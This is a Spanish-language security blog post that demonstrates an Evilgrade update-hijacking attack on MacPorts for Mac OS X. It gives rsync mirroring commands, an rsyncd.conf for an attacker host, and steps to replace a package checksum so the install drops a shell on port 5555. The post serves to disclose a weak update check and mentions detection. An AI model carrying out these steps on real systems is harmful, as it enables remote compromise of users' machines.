Para entender mejor el funcionamiento de este ataque, vamos a repasar cómo se actualiza el software hoy en día en la mayoría de los programas. La idea es que el programa, nada más ser ejecutado, realiza una conexión a los servidores del fabricante, buscando nuevas actualizaciones. Si hay alguna actualización disponible, se le ofrecerá al usuario – o no si está configurado para hacerlo de forma automática – la opción de instalar la nueva versión que será descargada y ejecutada por el propio programa instalado en la máquina.
Si un atacante intercepta esta petición por medio de un ataque Man in the Middle, puede responder indicando que hay una actualización pendiente y entregar un troyano en lugar de la actualización. Si el sistema de actualizaciones ha sido correctamente comprobado, el software no debería ser ejecutado si no viene firmado digitalmente por el fabricante, pero sin embargo hay mucho software que no hace esto.
Un ejemplo con MacPorts para Mac OS X
En este ejemplo, Francisco Amato realiza la demostración con MacPorts para Mac OS X, un software muy común para la distribución de paquetes open sorce que es vulnerable a los ataques de Evilgrade. A grandes rangos el MacPorts utiliza como sistema de actualizaciones lo siguiente:
a) Un servidor rsync para la actualización de su repositorio.
b) Los paquetes se distribuyen por http/ftp.
c) Antes de instalar un nuevo paquete verifica el md5/sha1 del repositorio local con el nuevo archivo y si es válido instala el paquete.
Evilgrade en MacPorts para Mac OS X
Para realizar el ataque en este entorno se deben seguir las siguientes tareas:
1) Preparar el servidor de rsync en el equipo del atacante, que en este ejemplo tiene la dirección IP 192.168.10.133, con todo repositorio válido de rsync.macports.org. Para ello los pasos son:
mkdir -p /dev/evilgrade/release/ports
mkdir -p /dev/evilgrade/release/base
#Obtenemos la información necesaria
/usr/bin/rsync -rtzv –delete-after –exclude=/PortIndex* rsync://rsync.macports.org/release/ports/ /dev/evilgrade/release/ports/
/usr/bin/rsync -rtzv –delete-after –exclude=/PortIndex* rsync://rsync.macports.org/release/base/ /dev/evilgrade/release/base/
2) Se configura el archivo/etc/rsyncd.conf:
max connections = 20
log file = /var/log/rsync.log
timeout = 300
[release]
comment = Stuff
path = /dev/evilgrade/release/
read only = yes
list = yes
uid = nobody
gid = nogroup
# auth users = craig
# secrets file = /etc/rsyncd.secrets
hosts allow = 192.168.10.0/24 #cambiar por la subnet correspondiente.
3) Arrancar el servicio rsync:
/etc/init.d/rsync start
4) Configurar evilgrade para atacar a un paquete concreto
En este ejemplo se va a atacar el paquete serf dentro de la categoría www. La idea es que cuando se instale este paquete, al mismo tiempo se deje una shell abierta en el puerto 5555. Para ello se tiene que editar en el repositorio el archivo
/dev/evilgrade/release/ports/www/serf/Portfile
y cambiar el checksums md5 por el hash de nuestro payload/agente que se encuentra en
/evilgrade/agent/serf-0.7.2.tar.bz2
Figura 1: Hash md5 del fichero a ejecutar |
Figura 5: Shell obtenida en el puerto 5555
Con esta prueba se demuestra que si un atacante puede realizar un ataque de Man in the middle, DNS Poissoning, o un simple DHCP spoofing para añadir un nuevo servidor DNS a la red, puede instalar cualquier programa en un equipo Mac OS X que utilice MacPorts, debido a que no hay una comprobación robusta del software a instalar.
Para hacer este ataque es necesario descargar el agente y el módulo de MacPorts para Evilgrade, y descomprimirlo en el directorio raíz de evilgrade. También puedes descargar el framework Evilgrade desde Infobyte y además tienes un artículo sobre cómo detectar ataques Man in the middle en tu Mac OS X que te puede ser de ayuda en redes inseguras.
Via:Seguridad Apple